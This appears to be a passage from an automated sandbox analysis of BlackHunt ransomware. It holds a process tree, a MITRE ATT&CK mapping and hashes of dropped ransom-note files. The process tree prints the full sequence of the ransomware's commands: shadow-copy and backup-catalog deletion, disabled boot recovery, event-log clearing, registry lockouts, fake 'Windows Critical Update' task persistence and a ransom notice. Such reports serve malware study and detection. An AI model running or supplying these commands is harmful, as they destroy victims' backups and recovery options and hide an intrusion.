  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe" /F
  2⤵
  PID:1636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1800
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1736
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1608
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1812
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1632
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1780
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2164
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1984
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2052
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2980
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1696
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2344
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2016
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2660
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2788
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2184
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2560
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2368
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2168
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1736
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2472
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:528
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2756
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1052
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1904
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1520
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe"
  2⤵
  - Deletes itself
  PID:2572
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2532

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2940

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2340

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
0498be7ade9abd6780039944276a2326

SHA1
4ebd47c3850bebf04d31c017186048c54edfd05e

SHA256
bc6f77b122654c3278d794046f19ae12b736d72f58a575e487dc310863688ba3

SHA512
78246f97d79b5c388b23bb02eca8a4175ea5f8c4d324fa56d6044bb06c050053cc5a50959fcf5c77631efd231deb3ff9b20105e2d052cea35c070c31404bf89d

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
5891edec75f872a6268326d451472c84

SHA1
d2a8f75ad6b94b8fb2eaf71088c2fc94967242c5

SHA256
56c12b626461bceb4bfd771187d7802d705ec5582657c4ada2d4689618ee595c

SHA512
722639464d3267f622b958cb90bc55d2a4b95dc6bfe35b82e5ab48c57b9fef37bfa6fe8a0521fa2fbec0400ca487849c2716d4a0d22f4003957d2a0df8f5a22c

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
ad3564b97fde94e7706cb2830f307526

SHA1
85452a3a657e97bd028bf503c4f9e355eedcf30d

SHA256
a8876c1c17ab048598c09c7c2beec3b2c3bb36059a03eadb300e58fc79bca0ce

SHA512
413ac45de5f82416a9ddefe8e69672bfb1fdc605e07d8bfc8ee71bae43cd9a3df3ff2e0dec1e94b7c15ade722fa50893764e22d5888db4b9081e9fdcdb750ef2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads